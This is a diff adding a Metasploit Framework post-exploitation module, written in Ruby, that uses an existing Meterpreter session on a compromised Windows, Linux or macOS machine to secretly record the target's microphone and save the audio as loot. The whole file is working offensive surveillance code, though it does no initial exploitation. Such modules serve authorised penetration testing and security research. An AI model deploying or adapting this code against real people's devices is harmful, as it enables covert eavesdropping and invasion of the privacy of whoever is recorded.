1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+ require 'rex'
10
+
11
+ class Metasploit3 < Msf ::Post
12
+
13
+ include Msf ::Auxiliary ::Report
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => 'Multi Manage Record Microphone' ,
18
+ 'Description' => %q{
19
+ This module will enable and record your target's microphone.
20
+ For non-Windows targets, please use Java meterpreter to be
21
+ able to use this feature.
22
+ } ,
23
+ 'License' => MSF_LICENSE ,
24
+ 'Author' => [ 'sinn3r' ] ,
25
+ 'Platform' => [ 'win' , 'linux' , 'osx' ] ,
26
+ 'SessionTypes' => [ 'meterpreter' ]
27
+ ) )
28
+
29
+ register_options (
30
+ [
31
+ OptInt . new ( 'DURATION' , [ false , 'Number of seconds to record' , 5 ] )
32
+ ] , self . class )
33
+ end
34
+
35
+ def rhost
36
+ client . sock . peerhost
37
+ end
38
+
39
+ def progress
40
+ timeout = ( datastore [ 'DURATION' ] < 1 ) ? 1 : ( datastore [ 'DURATION' ] *0.1 )
41
+ datastore [ 'DURATION' ] . times do |i |
42
+ print_status ( "Recording: #{ ( Float ( i +1 ) /datastore [ 'DURATION' ] * 100 ) . round } % done..." )
43
+ select ( nil , nil , nil , timeout )
44
+ end
45
+ end
46
+
47
+ def run
48
+ if client . nil?
49
+ print_error ( "Invalid session ID selected. Make sure the host isn't dead." )
50
+ return
51
+ end
52
+
53
+ data = nil
54
+
55
+ begin
56
+ t = framework . threads . spawn ( "prog" , false ) { progress }
57
+ data = client . webcam . record_mic ( datastore [ 'DURATION' ] )
58
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
59
+ print_error ( e . message )
60
+ return
61
+ ensure
62
+ t . kill
63
+ end
64
+
65
+ if data
66
+ print_status ( "#{ rhost } - Audio size: (#{ data . length . to_s } bytes)" )
67
+ p = store_loot (
68
+ "#{ rhost } .audio" ,
69
+ 'application/octet-stream' ,
70
+ rhost ,
71
+ data ,
72
+ "#{ rhost } _audio.wav" ,
73
+ "#{ rhost } Audio Recording"
74
+ )
75
+
76
+ print_good ( "#{ rhost } - Audio recording saved: #{ p } " )
77
+ end
78
+ end
79
+
80
+ end
0 commit comments